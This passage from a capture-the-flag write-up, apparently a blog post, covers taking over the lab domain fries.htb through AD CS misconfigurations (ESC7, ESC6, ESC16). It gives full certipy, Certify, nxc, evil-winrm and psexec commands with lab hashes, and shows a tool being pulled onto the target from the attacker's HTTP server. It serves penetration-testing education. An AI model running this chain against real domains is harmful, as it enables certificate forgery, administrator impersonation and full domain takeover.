<li>The initial objective is to <strong>add</strong> <code>GMSA_CA_PROD$</code> as a <strong>certificate officer</strong> on the <strong>CA</strong>:</li>
</ul>
<pre><code class="language-shell">certipy-ad ca -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -target DC01.fries.htb -ca fries-DC01-CA -add-officer gmsa_ca_prod$
</code></pre>
<ul>
<li>The command succeeds. This confirms that the account has sufficient CA permissions to add itself as an officer.</li>
<li>The next step is to <strong>enable</strong> the <strong>SubCA certificate template</strong> on the <strong>CA</strong>:</li>
</ul>
<pre><code class="language-shell">certipy-ad ca -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -target DC01.fries.htb -ca fries-DC01-CA -enable-template 'SubCA'
</code></pre>
<ul>
<li>The operation also succeeds. The <strong>SubCA</strong> template is now enabled on the certificate authority.</li>
<li>However, enabling a template does not automatically grant the current account permission to enroll in it. Certificate template enrollment permissions and CA management permissions are separate controls.</li>
</ul>
<h3>Attempting to Request a Certificate</h3>
<ul>
<li>With the SubCA template enabled, a certificate request is attempted for the domain administrator.</li>
<li>The administrator’s SID is obtained from BloodHound: <code>S-1-5-21-858338346-3861030516-3975240472-500</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1c6b3f1b-d650-4935-a043-4472cd164a96.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The request is submitted using <strong>Certipy</strong>:</li>
</ul>
<pre><code class="language-shell">certipy-ad req -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -target DC01.fries.htb -ca fries-DC01-CA -template 'SubCA' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2db187d6-46f1-479f-af05-fe3ccf809c74.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The request fails. The important part of the error is <code>CERTSRV_E_TEMPLATE_DENIED</code>. The certificate authority rejects the request because the current account does not have enrollment permission on the selected template.</li>
<li>This illustrates an important distinction: having dangerous permissions over the CA does not necessarily mean the account can enroll in every certificate template. CA-level permissions and template-level enrollment permissions must be considered separately.</li>
</ul>
<h3>Inspecting Certificate Authority Permissions</h3>
<ul>
<li>To better understand the CA’s access controls, the certificate authority security configuration is inspected from the <code>Evil-WinRM</code> session:</li>
</ul>
<pre><code class="language-shell">certutil -getreg ca\Security
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7f025b3b-ee67-42c3-be67-b27882f64a0c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The CA security configuration contains several entries worth examining.</li>
<li>In particular, <code>GMSA_CA_prod$</code> appears in both an allow entry and a deny entry. The distinction between these permissions matter:<ul>
<li><strong>Certificate Manager</strong> permissions relate to managing certificate requests, including issuing or denying pending requests.</li>
<li><strong>Enroll</strong> permissions determine whether an account can request certificates through the CA and its available templates.</li>
<li><strong>CA Administrator</strong> permissions provide administrative capabilities over the certificate authority.</li>
</ul>
</li>
<li>The explicit <code>Deny Certificate Manager</code> entry is noteworthy, but it should not be confused with the template enrollment error observed earlier. The request failure specifically reports thar the account lacks enrollment permission for the selected template.</li>
<li>The next avenue is to investigate whether the CA’s certificate issuance policy can be modified to allow a different certificate request path.</li>
</ul>
<h2>Enabling ESC6 on the Certificate Authority</h2>
<ul>
<li><strong>ESC6</strong> is a certificate authority misconfiguration in which the CA allows an enrollee to specify a <strong>Subject Alternative Name (SAN</strong>) through request attributes. When combined with suitable enrollment permissions and other conditions, this can allow a requester to obtain a certificate representing another identity.</li>
<li>The relevant Certipy documentation is available at <a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc6-ca-allows-san-specification-via-request-attributes">Certipy -ESC6: CA Allows SAN Specification via Request Attributes</a>.</li>
<li>The CA configuration can be inspected and modified using Microsoft’s <code>certutil</code> utility or a dedicated AD CS management tool. In this case, <code>Certify</code> is used.</li>
</ul>
<h3>Preparing Certify</h3>
<ul>
<li><strong>Certify</strong> is a .NET tool for enumerating and interacting with Active Directory Certificate Services. It provides functionality for managing CA settings and identifying certificate-related attack paths.</li>
<li>A local directory is created to host the executable:</li>
</ul>
<pre><code class="language-shell">mkdir www &amp;&amp; cd www
</code></pre>
<ul>
<li>The binary is downloaded from the SharpCollection repository:</li>
</ul>
<pre><code class="language-shell">wget https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Certify.exe
</code></pre>
<ul>
<li>A simple Python HTTP server is then started to make the file available to the remote Windows session:</li>
</ul>
<pre><code class="language-shell">python -m http.server
</code></pre>
<h3>Transferring Certify to the Target</h3>
<ul>
<li>Back in the Evil-WinRM session, the working directory is changed to <code>C:\ProgramData</code>:</li>
</ul>
<pre><code class="language-csharp">Set-Location \ProgramData
</code></pre>
<ul>
<li>The executable is downloaded from the attacking machine:</li>
</ul>
<pre><code class="language-shell">wget http://10.10.14.176:8000/Certify.exe -o Certify.exe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f44d8fe7-1805-4df7-9766-084f3f4dd42a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The binary is now available locally on the target and can be used to inspect and modify the CA configuration.</li>
</ul>
<h3>Checking the CA Edit Flags</h3>
<ul>
<li>Before enabling ESC6, the current CA policy flags are inspected:</li>
</ul>
<pre><code class="language-shell">certutil -getreg policy\EditFlags
</code></pre>
<ul>
<li>The <code>EDITF_ATTRIBUTESUBJECTALTNAME2</code> is absent from the current configuration.</li>
<li>This is the flag associated with ESC6. Its absence means that the CA is not currently configured to allow the relevant SAN specification through request attributes.</li>
</ul>
<h3>Enabling ESC6 with Certify</h3>
<ul>
<li>Certify is used to modify the CA configuration:</li>
</ul>
<pre><code class="language-shell">.\Certify.exe manage-ca --ca "DC01.fries.htb\fries-DC01-CA" --esc6
</code></pre>
<ul>
<li>The output confirms that the flag is not set and that Certify successfully enables it.</li>
<li>The tool also restarts the Certificate Services service so that the configuration change takes effect.</li>
</ul>
<h3>Verifying the ESC6 Configuration</h3>
<ul>
<li>The CA policy flags are queried again to confirm that the change was applied:</li>
</ul>
<pre><code class="language-shell">certutil -getreg policy\EditFlags
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/344c2a81-2866-47d9-8ee7-833d82910f3d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The updated output now includes <code>EDITF_ATTRIBUTESUBJECTALTNAME2</code> that confirms that the ESC6-related flag has been enabled.</li>
<li>Certipy can also be used to verify the updated certificate authority configuration:</li>
</ul>
<pre><code class="language-shell">certipy-ad find -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -vulnerable -stdout
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/cbe34df9-c76e-4e44-89a4-7561ab718961.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The enumeration confirms that the CA is now identified as vulnerable to both <code>ESC6</code> and <code>ESC7</code>.</li>
<li>At this point, the investigation has established two important facts: the gMSA has dangerous CA permissions and the CA’s SAN-related policy flag has been enabled. The next stage can build on these conditions to pursue certificate-based impersonation and further domain access.</li>
</ul>
<h2>Chaining ESC6 and ESC16 to Obtain an Administrator Certificate</h2>
<ul>
<li>Although ESC6 has been enabled, the first certificate request still encounters an obstacle. The certificate is issued, but its contents reveal conflicting <strong>Security Identifiers (SIDs)</strong>.</li>
</ul>
<h3>Requesting the Administrator Certificate</h3>
<ul>
<li>The certificate request is submitted again, this time using the <code>svc_infra</code> account and <strong>User</strong> template:</li>
</ul>
<pre><code class="language-shell">certipy-ad req -dc-ip 10.129.244.72 -u svc_infra -p 'm6tneOMAh5p0wQ0d' -target DC01.fries.htb -ca fries-DC01-CA -template 'User' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
</code></pre>
<ul>
<li>The request succeeds, but Certipy identifies conflicting SIDs.</li>
<li>The certificate contains two different SIDs:<ul>
<li><code>SAN URL SID: S-1–5–21–858338346–3861030516–3975240472–500</code>, which belongs to the domain Administrator.</li>
<li><code>Security Extension SID: S-1–5–21–858338346–3861030516–3975240472–3601</code>, which belongs to the account used to request the certificate.</li>
</ul>
</li>
<li>Windows prioritizes the SID contained in the security extension for authentication. Consequently, specifying the Administrator SID in the request is not enough while the certificate still contains the conflicting security extension.</li>
</ul>
<h3>Attempting Certificate Authentication</h3>
<ul>
<li>The generated <code>pfx</code> file is passed to Certipy for authentication:</li>
</ul>
<pre><code class="language-shell">certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.244.72
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e6018e5b-7a73-4448-a599-599446ba5a26.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The authentication attempt fails. The error confirms the problem: the certificate identifies the requested principal as Administrator, but its security extension contains a different account SID. The domain controller rejects the authentication because the certificate’s security extension SID does not match the Administrator object’s SID.</li>
<li>The next step is to investigate the CA’s security extension configuration.</li>
</ul>
<h3>Understanding and Enabling ESC16</h3>
<ul>
<li><strong>ESC16</strong> occurs when a Certificate Authority is configured to disable the <code>szOID_NTDS_CA_SECURITY_EXT</code> security extension globally.</li>
<li>This extension carries the account SID is issued certificates. Disabling it removes the conflicting SID information that Windows would otherwise prioritize during certificate authentication.</li>
<li>The relevant Certipy documentation is available here: <a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally">Certipy — ESC16: Security Extension Disabled on CA Globally</a>.</li>
<li>Before making any changes, the current configuration is inspected from Evil-WinRM session:</li>
</ul>
<pre><code class="language-shell">certutil -getreg policy\DisableExtensionList
</code></pre>
<ul>
<li>The <code>DisableExtensionList</code> is empty, meaning the security extension has not been disabled through this setting.</li>
<li>Certify is used to modify the CA configuration and enable ESC16:</li>
</ul>
<pre><code class="language-shell">.\Certify.exe manage-ca --ca "DC01.fries.htb\fries-DC01-CA" --esc16
</code></pre>
<ul>
<li>The output confirms that the extension is added to the disabled extension list.</li>
<li>The Certificate Services service is restarted to apply the updated configuration.</li>
</ul>
<h3>Verifying ESC16</h3>
<ul>
<li>The configuration is queried again:</li>
</ul>
<pre><code class="language-shell">certutil -getreg policy\DisableExtensionList
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/dd7ff114-3d9c-438b-9beb-9654114e2758.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This time the output contains the extension’s object identifier.</li>
<li>The OID <code>0: 1.3.6.1.4.1.311.25.2</code> identifies the NTDS CA security extension. Its presence in the disabled extension list confirms that the CA has been configured not to include this extension in issued certificates.</li>
<li>Certipy can also identify the updated configuration:</li>
</ul>
<pre><code class="language-shell">certipy-ad find -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -vulnerable -stdout
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7b5f7467-10ba-43d6-9e16-d12b69ba7b09.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The findings now include <strong>ESC6, ESC7,</strong> <strong>ESC16</strong>.</li>
<li>The attack chain now consists of three related certificate authority weaknesses:<ul>
<li><code>ESC7</code>: Dangerous permissions over the Certificate Authority allowed the gMSA to modify CA settings and enable the required template.</li>
<li><code>ESC6</code>: The CA was configured to allow SAN specification through certificate request attributes.</li>
<li><code>ESC16</code>: The CA was configured to disable the NTDS security extension, removing the conflicting SID information from newly issued certificates.</li>
</ul>
</li>
<li>Individually, these conditions expose different weaknesses. Combined, they provide a path towards requesting a certificate that can be used to authenticate as another domain identity.</li>
</ul>
<h2>Gaining Administrator Access</h2>
<h3>Requesting a New Administrator Certificate</h3>
<ul>
<li>With ESC16 enabled, the certificate is requested again using the <code>svc_infra</code> account and the <strong>User template</strong>:</li>
</ul>
<pre><code class="language-shell">certipy-ad req -dc-ip 10.129.244.72 -u svc_infra -p 'm6tneOMAh5p0wQ0d' -target DC01.fries.htb -ca fries-DC01-CA -template 'User' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
</code></pre>
<ul>
<li>This time, the request succeeds without the conflicting SID warning.</li>
<li>The certificate now contains the intended Administrator SID <code>S-1–5–21–858338346–3861030516–3975240472–500</code>.</li>
<li>The resulting <code>administrator.pfx</code> file contains the certificate and its corresponding private key, which can now be used for authentication.</li>
</ul>
<h3>Authenticating with the Administrator Certificate</h3>
<ul>
<li>Certipy is used to authenticate with the newly issued certificate:</li>
</ul>
<pre><code class="language-shell">certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.244.72
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f5688cae-ed17-407b-933b-e81a42222268.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The authentication succeeds. Certipy successfully obtains a Kerberos <strong>Ticket Granting Ticket (TGT)</strong> and saves the resulting credential cache as <code>administrator.ccache</code>. It also retrieves the Administrator NT hash.</li>
<li>This is a significant milestone: certificate-based authentication has now provided credentials required to authenticate as the domain administrator.</li>
</ul>
<h3>Validating Administrator Access</h3>
<ul>
<li><strong>SMB Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc smb DC01.fries.htb -u administrator -H 'a773cb05d79273299a684a23ede56748'
</code></pre>
<ul>
<li><strong>LDAP Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc ldap DC01.fries.htb -u administrator -H 'a773cb05d79273299a684a23ede56748'
</code></pre>
<ul>
<li><strong>WinRM Authentication:</strong></li>
</ul>
<pre><code class="language-shell">nxc winrm DC01.fries.htb -u administrator -H 'a773cb05d79273299a684a23ede56748'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2191bdfb-9e89-4338-a436-bd809036974a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>All three authentication checks succeed, confirming that the recovered hash belongs to a valid domain Administrator account.</li>
</ul>
<h3>Obtaining an Administrator Shell with Evil-WinRM</h3>
<ul>
<li>With WinRM authentication confirmed, <code>Evil-WinRM</code> is used to establish an interactive PowerShell session:</li>
</ul>
<pre><code class="language-shell">evil-winrm -i DC01.fries.htb -u administrator -H a773cb05d79273299a684a23ede56748
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/575992cc-514d-4dfa-8bd9-de150d29db46.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The current identity is verified as <code>fries\administrator</code> and inspecting the Administrator desktop both flags are present the root and user flags.</li>
</ul>
<h3>Obtaining a SYSTEM shell with Impacket PsExec</h3>
<ul>
<li>For an alternative method of remote access, Impacket’s <code>psexec</code> can be used with the recovered Administrator NT hash:</li>
</ul>
<pre><code class="language-shell">impacket-psexec -hashes :a773cb05d79273299a684a23ede56748 administrator@DC01.fries.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/622575e2-2e79-4fd3-9574-69bd176c6042.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The command successfully opens a Windows command shell.</li>
<li>Unlike the <code>Evil-WinRM</code> session, which runs as the domain Administrator, this <code>PsExec</code> session executes as <code>NT AUTHORITY\SYSTEM</code>, the local operating system’s highly privileged service identity.</li>
<li>The user directories are enumerated and upon inspecting Administrator’s Desktop directory we obtain both flags.</li>
<li>The successful <code>PsExec</code> session confirms SYSTEM-level access to the Windows host.</li>
</ul>
<hr />
<h2>Conclusion</h2>
<p>Fries was a reminder that compromising a domain does not always begin with a domain administrator password. Sometimes, the more interesting route is hidden in the permissions, services and configuration files that nobody thought to review.</p>
<p>What started with a password recovered from Git history eventually led through PgAdmin RCE, an exposed NFS share, Docker’s remote API, PWM credential capture, gMSA password retrieval and a chain of AD CS misconfigurations involving ESC7, ESC6 and ESC16.</p>
<p>The final certificate request provided the missing piece, allowing authentication as the domain Administrator and ultimately obtaining a SYSTEM shell.</p>
<p>The real lesson is that security weaknesses rarely operate in isolation. A seemingly harmless permission or configuration mistake can become considerably more dangerous when combined with other weaknesses across an environment. Fries demonstrates exactly how that happens — and why reviewing the relationships between systems is just as important as reviewing the systems themselves.</p>
<p>And with that Mis Amigos, Fries is fully cooked.</p>
<hr />
<h2>Tools Used</h2>
<h3>Reconnaissance and Enumeration</h3>
<ul>
<li><code>Nmap</code> - Network scanning, service discovery and version detection.</li>
<li><code>NetExec</code> - SMB, LDAP, WinRM, SSH authentication testing and gMSA password retrieval.</li>
<li><code>RustHound-CE</code> - Active Directory enumeration and BloodHound data collection.</li>
<li><code>BloodHound</code> - Active Directory relationship analysis and privilege escalation path discovery.</li>
<li><code>showmount</code> - Enumeration of NFS exports.</li>
<li><code>ntpdate</code> - Synchronization of the attacking machine's clock with the domain controller.</li>
</ul>
<h3>Web Application and Database Exploitation</h3>
<ul>
<li><code>Git</code> - Repository and recovery of exposed credentials from commit history.</li>
<li><code>PgAdmin 4</code> - PostgreSQL database administration interface, exploited through CVE-2025-2945.</li>
<li><code>Hydra</code> - Credential testing against SSH.</li>
<li><code>SQLite</code> - Inspection of the PgAdmin application database.</li>
<li><code>Netcat</code> - Reverse shell handling and file transfers.</li>
<li><code>Python http.server</code> - Hosting files for transfer to the target.</li>
</ul>
<h3>Linux, NFS and Docker Exploitation</h3>
<ul>
<li><code>SSH</code> - Remote access and port forwarding.</li>
<li><code>ProxyChains</code> - Routing supported network connections through the SSH SOCKS proxy.</li>
<li><code>mount</code> - Mounting the exposed NFS share.</li>
<li><code>setpriv</code> - Running commands with specific numeric user and group IDs.</li>
<li><code>OpenSSL</code> - Generating a client key, creating a certificate signing request and signing a Docker client certificate using the recovered CA key.</li>
<li><code>Docker</code> - Interacting with the remote Docker API and exploiting the container access to reach the host filesystem.</li>
<li><code>Docker Compose</code> - Managing the application's container services.</li>
</ul>
<h3>Credential Recovery and Capture</h3>
<ul>
<li><code>Hashcat</code> - Cracking the <code>bcrypt</code> hash recovered from the PWM configuration.</li>
<li><code>Hash Identifier</code> - Identifying the hash type and corresponding Hashcat mode.</li>
<li><code>Responder</code> - Capturing LDAP authentication credentials through a controlled LDAP redirection</li>
<li><code>file</code>, <code>chmod</code> and <code>ssh</code> - Identifying the recovered SSH private key, correcting its permissions and using it for authentication.</li>
</ul>
<h3>Active Directory Certificate Services Exploitation</h3>
<ul>
<li><code>Certipy</code> - Enumerating AD CS, identifying certificate authority vulnerabilities, requesting certificates and authenticating with PFX files.</li>
<li><code>Certify</code> - Managing Certificate Authority registry settings and enabling the ESC6 and ESC16 conditions.</li>
<li><code>certutil</code> - Inspecting Certificate Authority registry configuration, including <code>EditFlags</code> and <code>DisableExtensionList</code>.</li>
<li><code>Evil-WinRM</code> - Establishing remote PowerShell sessions using the recovered Administrators NT hash.</li>
<li><code>Impacket</code> - Using <code>psexec</code> for remote command execution and obtaining a SYSTEM shell.</li>
</ul>
<h3>Supporting Utilities</h3>
<ul>
<li><code>curl</code> / <code>wget</code> - Retrieving files and interacting with web resources.</li>
<li><code>Python</code> - Running a temporary HTTP server and stabilizing the reverse shell.</li>
<li><code>stty</code> - Configuring the terminal for an interactive shell.</li>
<li><code>vi</code> - Updating local credential notes.</li>
</ul>
<hr />
<h2>References</h2>
<h3>Active Directory Certificate Services (AD CS)</h3>
<ul>
<li><a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc7-dangerous-permissions-on-ca">Certipy - ESC7: Dangerous Permissions on CA</a></li>
<li><a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc6-ca-allows-san-specification-via-request-attributes">Certipy - ESC6: CA Allows SAN Specification via Request Attributes</a></li>
<li><a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally">Certipy - ESC16: Security Extension Disabled on CA Globally</a></li>
<li><a href="https://github.com/ly4k/Certipy">Certipy - GitHub Repository</a></li>
<li><a href="https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.7_Any/Certify.exe">Certify SharpCollection Download- GitHub Repository</a></li>
</ul>
<h3>Application and Infrastructure Vulnerabilities</h3>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-2945">CVE-2025-2945 - NIST National Vulnerability Database</a></li>
<li><a href="https://www.cvedetails.com/cve/CVE-2025-2945/">CVE-2025-2945 - CVE Details</a></li>
<li><a href="https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c">PgAdmin 4 - Security Fix Commit</a></li>
<li><a href="https://github.com/pgadmin-org/pgadmin4/issues/8603">PgAdmin 4 - Issue #8603</a></li>
</ul>
]]></content:encoded></item></channel></rss>